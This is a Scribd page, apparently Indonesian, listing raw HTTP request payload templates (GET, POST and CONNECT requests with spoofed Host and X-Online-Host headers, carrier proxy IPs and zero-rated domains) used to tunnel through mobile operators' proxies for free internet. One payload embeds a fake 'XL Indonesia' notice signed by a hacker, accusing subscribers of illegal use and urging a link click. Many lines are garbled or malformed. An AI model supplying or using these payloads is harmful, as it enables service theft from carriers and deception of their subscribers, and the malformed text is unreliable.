Scribd
Upload
595 views7 pages

Sort Metode Payload

The document contains raw HTTP requests and commands targeting various domains and services. It includes GET and POST requests to domains like xl.co.id, facebook.com, and whatsapp.net, as well as CONNECT commands with IP addresses and ports. The requests use techniques like header manipulation, URL encoding, and response checks.

Uploaded by

Eka Wijaya Ramdhani
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
595 views7 pages

Sort Metode Payload

The document contains raw HTTP requests and commands targeting various domains and services. It includes GET and POST requests to domains like xl.co.id, facebook.com, and whatsapp.net, as well as CONNECT commands with IP addresses and ports. The requests use techniques like header manipulation, URL encoding, and response checks.

Uploaded by

Eka Wijaya Ramdhani
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
You are on page 1/ 7

Isat 10.19.19.

19:8080

Smartevd 10.17.27.250:8080

XL 202.152.240.50:8080

RAW

[raw][crlf][split]GET http://
[rotate=m.facebook.com;graph.facebook.com;keep.line.me;line.naver.jp;123.xl.co.id/mi
n_balance]/ HTTP/1.1[crlf]Host:
[rotate=m.facebook.com;graph.facebook.com;keep.line.me;line.naver.jp;123.xl.co.id/mi
n_balance][crlf]X-Online-Host:
[rotate=m.facebook.com;graph.facebook.com;keep.line.me;line.naver.jp;123.xl.co.id/mi
n_balance][crlf]X-Forward-Host:
[rotate=m.facebook.com;graph.facebook.com;keep.line.me;line.naver.jp;123.xl.co.id/mi
n_balance][crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][crlf]

[raw][crlf][delay_split]GET /http/1.1/[crlf]host: line.naver.jp[crlf][crlf]

[raw][crlf][instant_split]GET http://line.naver.jp/ HTTP/1.1[crlf]Host:


line.naver.jp[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][crlf]

[raw][crlf][split]GET http://c.whatsapp.net/ HTTP/1.1[crlf]Host: c.whatsapp.net[crlf]X-


Online-Host: c.whatsapp.net[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][crlf]

[raw][crlf][delay_split]GET http://xl.co.id/m.facebook.com/ HTTP/1.1[crlf]Host:


xl.co.id/m.facebook.com[crlf]X-Forwarded-For: xl.co.id/m.facebook.com[crlf]Connection:
Keep-Alive[crlf]user-Agent: [ua][crlf][crlf]

[raw][crlf][instant_split]GET http://bug.com/ HTTP/1 .1 200 0K[crlf]Host: Bug.com[crlf]X-


Online-Host:Bug.com[crlf]proxy-Connectipn: Keep-Alive[crlf]Content-Length:
999[crlf]User-Agent: [ua][crlf][crlf]
GET

GET http://free.facebook.com/ HTTP/1.1[crlf]Host: free.facebook.com[crlf]X-Online-


Host: free.facebook.com[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][crlf]
[instant_split]CONNECT [host_port] [protocol][crlf][crlf]
GET http://[rotate=graph.facebook.com;m.fb.me;api.facebook.com;s.twitter.com]/
HTTP/1.1[crlf]Host:
[rotate=graph.facebook.com;m.fb.me;api.facebook.com;s.twitter.com][crlf]X-Forward-
Host: [rotate=graph.facebook.com;m.fb.me;api.facebook.com;s.twitter.com]
[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][crlf][delay_split][raw][crlf][crlf]

GET http://api.indosatooredoo.com/8080/ HTTP/1.1[crlf]Host:


api.indosatooredoo.com/8080[crlf]X-Online-Host: api.indosatooredoo.com/8080[crlf]X-
Forward-Host: api.indosatooredoo.com/8080[crlf][crlf][split]CONNECT [host_port]
[protocol][crlf][crlf]

GET http://api.indosatooredoo.com/ HTTP/1.1[crlf]Host: api.indosatooredoo.com[crlf]X-


Forwarded-For: api.indosatooredoo.com[crlf][split]Connection: Keep-Alive[crlf]
[crlf]CONNECT [host_port] [protocol][crlf][crlf]

GET http://myxlpostpaid.xl.co.id/ HTTP/1.1[crlf]Host:


myxlpostpaid.xl.co.id[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]CONNECT
[host_port] [protocol][crlf][crlf][instant_split]CONNECT [host_port][crlf][crlf]

GET http://mypostpaid.xl.co.id/ HTTP/1.1[crlf]Host: mypostpaid.xl.co.id[crlf]Connection:


close[crlf]Connection: Keep-Alive[crlf][crlf][instant_split]CONNECT [host_port][crlf][crlf]

METHOD

[method] [host_port][crlf]@my.xl.co.id [protocol][crlf][crlf][instant_split]POST

http://line.naver.jp/ HTTP/1.1[crlf]Host: line.naver.jp[crlf]X-Online-Host:

line.naver.jp[crlf]proxy-Connection: close[crlf]Connection: Keep-Alive[crlf][crlf][crlf]

[method] [host][lf]www.axisnet.id [crlf][crlf]GET /1.1[crlf]X-Online-Host:


www.axisnet.id[crlf]Connection: Keep-Alive[crlf][crlf]
[method] [host_port]\r\n\r[split]GET http://mmc.xl.net.id.naver.net HTTP/1.1\r
Host: mmc.xl.net.id.naver.net\rConnection: keep-alive\r\r\r

CONNECT

CONNECT [host_port]

[crlf]@[rotate=myxl.co.id;line.naver.adams;mobile.facebook.com;it.twitter.com;adamstr

eet.heck.in] [crlf][crlf][instant_split]POST http://

[rotate=ascr.whatsapp.net;line.naver.adams;mobile.facebook.com;it.twitter.com;adamstr

eet.heck.in]/ HTTP/1.1[crlf]Host:

[rotate=ascr.whatsapp.net;line.naver.adams;mobile.facebook.com;it.twitter.com;adamstr

eet.heck.in][crlf]User-Agent: [ua][crlf]POST / HTTP/1.1[crlf]Host:

[rotate=ascr.whatsapp.net;line.naver.adams;mobile.facebook.com;it.twitter.com;adamstr

eet.heck.in][crlf]Connection: close[crlf]User-Agent: Web-sniffer/1.1.0 (+http://web-

sniffer.net/)[crlf]Accept-Encoding: gzip[crlf]Accept-Charset: ISO-8859-1,UTF-8;q=0-

.7,*;q=0.7[crlf]Cache-Control: no-cache[crlf]AcceptLanguage: de,en;q=0.7,en-us;q=-

0.3[crlf]Referer: http://web-sniffer.net/[crlf][crlf]Connection: Keep-Alive[crlf][crlf]FAST

CONNECT [instant_split] CONNECT [host_port]

[crlf]@[rotate=ascr.whatsapp.net;line.naver.adams;mobile.facebook.com;it.twitter.com;a

damstreet.heck.in] [crlf][crlf][instant_split]GET http://123.xl.co.id/min_balance7/

HTTP/1.1[crlf]Host: 123.xl.co.id/min_balance7[crlf]User-Agent: [ua][crlf]GET /

HTTP/1.1[crlf]Host:
R A.S.C.R /BROKENHEARTH[crlf][crlf]Connection: close[crlf]User-Agen t:

Web-sniffer/1.1.0 (+http://web-sniffer.net/)[crlf]Accept-Encoding: gzip[crlf]Accept-


Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7[crlf]Cache-Control: no-cache[crlf]Accept-

Language: de,en;q=0.7,en-us;q=0.3[crlf]Referer: http://web-sniffer.net/[crlf]

[crlf]Connection: Keep-Alive[crlf][crlf]\r\n\r\n

CONNECT [host_port][crlf]@123.xl.co.id/min_balance7 [crlf][crlf][instant_split]POST


http://123.xl.co.id/min_balance7/ &$#@*w-)><
<html><head><title></title><head><body><h1><font color="blue">XL INDONESIA 200
OK Connection Established HACK BY GALIH GUSTIMAN CIBER CRYME </h1><p>MAAF
PELANGGAN SETIA KAMI, KAMI DARI PIHAK XL INDONESIA MENDETEKSI KEBERADAAN
SIM CARD ANDA MENGGUNAKAN INTERNET TANPA KUOTA DAN PULSA,ANDA
TERDETEKSI ILEGAL JIKA ANDA TIDAK MERASAKAN MENGGUNAKAN INTERNET ILEGAL
SILAHKAN KLIK <a
href="http://123.xl.co.id/min_balance8.MY.AXIATA.COM">here</a></p></body></html>
<html><head><title><title><head><body><h1><font color="red">JANGAN LUPA
BAHAGIA !!!!</h1>/ HTTP/1.1[crlf]Host: 123.xl.co.id/min_balance7[crlf]User-Agent: [ua]
[crlf]POST / HTTP/1.1[crlf]Host: 123.xl.co.id/min_balance7[crlf]Connection:
close[crlf]User-Agent: Web-sniffer/1.1.0 (+http://web-sniffer.net/)[crlf]Accept-Encoding:
gzip[crlf]Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7[crlf]Cache-Control: no-
cache[crlf]Accept-Language: de,en;q=0.7,en-us;q=0.3[crlf]Referer: http://web-
sniffer.net/[crlf][crlf]Connection: Keep-Alive[crlf][crlf]

CONNECT [host_port][protocol][crlf]host:Location:
http://internet.tri.co.id/pageredirect/front/regular[crlf][lf][delay_split][method]
http://goo.gl[crlf][crlf]Content-Lenght: 123[auth][port][host][crlf]
[crlf]HTTP/1.1[crlf]Host: 128.199.150.25:80[crlf][crlf][method] http://adf.ly[crlf]
[crlf]Content-Lenght: 123[auth][port][host][crlf][crlf]CONNECT X-sgdo22.serverip.co[lf]x-
sgdo25.serverip.co:443 HTTP/1.0[crlf]Connection: Keep-Alive[crlf]HTPP/1.1 200 OK[crlf]
[crlf][crlf]\r\r[split][netData]\r\r

CONNECT [host_port][crlf][crlf][crlf][instant_split]GET
http://my.xl.co.id/sisternet.xl.co.id/assets/js/lib/jquery-2.2.2.min.js/ HTTP/1.1[crlf]Host:
www.my.xl.co.id[crlf]User-Agent: [ua][crlf][crlf]GET / HTTP/1.1[crlf]Host:
my.xl.co.id/sisternet.xl.co.id/assets/js/lib/jquery-2.2.2.min.js[crlf]Connection: close[crlf]
[crlf][crlf]GET http://my.xl.co.id/sisternet.xl.co.id/assets/js/lib/jquery-2.2.2.min.js/
HTTP/1.1[crlf]my.xl.co.id/sisternet.xl.co.id/assets/js/lib/jquery-2.2.2.min.js[crlf]GET /
HTTP/1.1[crlf]Host: my.xl.co.id/sisternet.xl.co.id/assets/js/lib/jquery-
2.2.2.min.js[crlf]Connection: close[crlf]Connection: Keep-Alive[crlf]\r\n\r\n

CONNECT [host_port][crlf][crlf][instant_split]GET
http://ibnads,xl.co.id/ HTTP/1.1[crlf]Host: prima,123.xl.co.id[crlf]User-Agent: [ua][crlf]
[crlf]GET / HTTP/1.1[crlf]Host: 123,xl.co.id.gudangsaos.us.to[crlf]Connection: Close[crlf]
[crlf]</h1><font color="blue" size="15px">XL OPOK JABAR
</font><html><head></h1><font color="red">?Copyright @GSM By : Sarken
Falsisme?<a[crlf]GET / HTTP/1.1[crlf]Host: 4G,xl.co.id/min_balance8[crlf]Connection:
close[crlf][crlf]Connection: Keep-Alive[crlf][crlf]

CONNECT [host_port][crlf]@123.xl.co.id/min_balance7 [crlf][crlf][instant_split]POST


http://123.xl.co.id/min_balance7/ HTTP/1.1[crlf]Host:
123.xl.co.id/min_balance7[crlf]User-Agent: [ua][crlf]POST / HTTP/1.1[crlf]Host:
123.xl.co.id/min_balance7[crlf]Connection: close[crlf]User-Agent: Web-sniffer/1.1.0
(+http://web-sniffer.net/)[crlf]Accept-Encoding: gzip[crlf]Accept-Charset: ISO-8859-
1,UTF-8;q=0.7,*;q=0.7[crlf]Cache-Control: no-cache[crlf]Accept-Language:
de,en;q=0.7,en-us;q=0.3[crlf]Referer: http://web-sniffer.net/[crlf][crlf]Connection: Keep-
Alive[crlf][crlf]

CONNECT [host_port][crlf][crlf][instant_split]GET http://mypostpaid.xl.co.id/


HTTP/1.1[crlf]Host: ibnads.xl.co.id[crlf]User-Agent: [ua][crlf][crlf]GET /HTTP/1.1[crlf]
Host: xl.sns.bz[crlf]Connection: close[crlf][crlf][crlf]GET /HTTP/1.1[crlf]Host:
4g.xl.co.id/min_balance8[crlf]Connection: close[crlf][crlf]Connection: Keep-Alive[crlf]
[crlf]

CONNECT [host_port][crlf][crlf]HTTP/1.1[crlf]GET http://myxlpostpaid.xl.co.id/ HTTP/1.1


200 OK[crlf]Host: myxlpostpaid.xl.co.id[crlf]User-Agent: Mozilla/5.0 (Linux; Android
4.4.2; ASUS_Z007 Build/KVT49L) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/55.0.2883.91 Mobile Safari/537.36[crlf]Connection: Keep-Alive[crlf][crlf]

CONNECT [host_port][crlf][crlf][instant_split]GET http://my.xl.co.id/ HTTP/1.1[crlf]Host:


prima.123.xl.co.id[crlf]User-Agent: [ua][crlf][crlf]GET / HTTP/1.1[crlf]Host:
123.xl.co.id/prepaid[crlf]Connection: close[crlf][crlf][crlf]Content-Length:
9999999[crlf]Connection: Keep-Alive[crlf][crlf]
CONNECT [host_port][crlf][crlf][instant_split]GET http://123.xl.co.id;prime.123.xl.co.id/
HTTP/1.1[crlf]Host: 123.xl.co.id;prime.123.xl.co.id[crlf]User-Agent: [ua][crlf][crlf]GET /
HTTP/1.1[crlf]Host: 123.xl.co.id;prime.123.xl.co.id[crlf]Connection: close[crlf][crlf]
[crlf]GET http://123.xl.co.id/ HTTP/1.1[crlf]GET / HTTP/1.1[crlf]Host:
123.xl.co.id;prime.123.xl.co.id[crlf]Connection: close[crlf][crlf][crlf]

CONNECT[host_port]@3030.tri.co.id[protocol][crlf][delay_sp|it]GET
http://3030.tri.co.id/HTTP/1.1[crlf]Host: 3030.tri.co.id[crlf]X-OnlineHost:
3030.tri.co.id[crlf]X-Forward-Host: 3030.tri.co.id[crlf]Connection: Keep-Alive[crlf][crlf]

CONNECT [host_port] [crlf][crlf][instant_split]POST


http://123.xlgprs.co.id/m.facebook.com/ HTTP/1.1 200 OK[crlf]Host:
123.xlgprs.co.ook.com/ HTTP/1.1 200 OK[crlf]Host:
123.xlgprs.co.id/m.facebook.com[crlf]Connection: Keep-Alive[crlf]Conten-Length:
99999999999999999999[crlf]

CONNECT [host_port][crlf][delay_split]GET http://xl.co.id/m.facebook.com/


HTTP/1.1[crlf]Host: xl.co.id/m.facebook.com[crlf]X-Online-Host:
xl.co.id/m.facebook.com[crlf]X-Forward-Host: xl.co.id/m.facebook.com[crlf]Connection:
Keep-Alive[crlf]User-Agent: [ua][crlf]

CONNECT [host_port][crlf]@123.xl.co.id/min_balance8 [crlf][crlf][instant_split]GET


http://123.xl.co.id/min_balance8/ EHTTP/1.0[crlf]Host: 123.xl.co.id/min_balance8[crlf]X-
Online-Host: 123.xl.co.id/min_balance8[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua]
[crlf][crlf]Content-Lengh:99999999999999999999999999999999999999999999999[crlf]
[crlf]

CONNECT [host_port]@123.xl.co.id/min_balance7 [crlf][crlf][instant_split]GET


http://123.xl.co.id/min_balance7/ HTTP/1.1[crlf]Host:
123.xl.co.id/min_balance7[crlf]User-Agent:[ua][crlf]
HTTP/1.1[crlf]Host:123.xl.co.id/min_balance7[crlf]Connection:close[crlf][crlf]User-Agent:
[ua][crlf] Content-length:1111111111[crlf] FullSpeed: maximal kb/s[crlf]Ping 8.8.8.8
-t[crlf]PingServer www.google.com[crlf]PING: 8.26.56.26:8.20.247.20/DNS/Connection:
fullSpeed&Keep-Alive[crlf][crlf]Content-Length:99999999999999999999[crlf][crlf]
CONNECT [host_port][crlf]@axisword.co.id [crlf][crlf][instant_split]GET
http://axisworld.co.id/ HTTP/1.1[crlf]Host: axisworld.co.id[crlf]Connection:
close[crlf]User-Agent: [ua][crlf]Cache: no-cache[crlf][crlf][crlf]

CONNECT 188.166.181.202:[port][crlf]@123.xl.co.id/freepaid [crlf][crlf]


[instant_split]GET /1.1[crlf]Host: [crlf]Connection: close[crlf][crlf][crlf]

CONNECT [host_port] HTTP/1.1[crlf][crlf]GEThttp://bug.com1; bug.com2; bug.com3/


[protokol][crlf]Host: bug.com1; bug.com2; bug.com3[crlf]Connection: Keep-Alive[crlf]
[crlf]

You might also like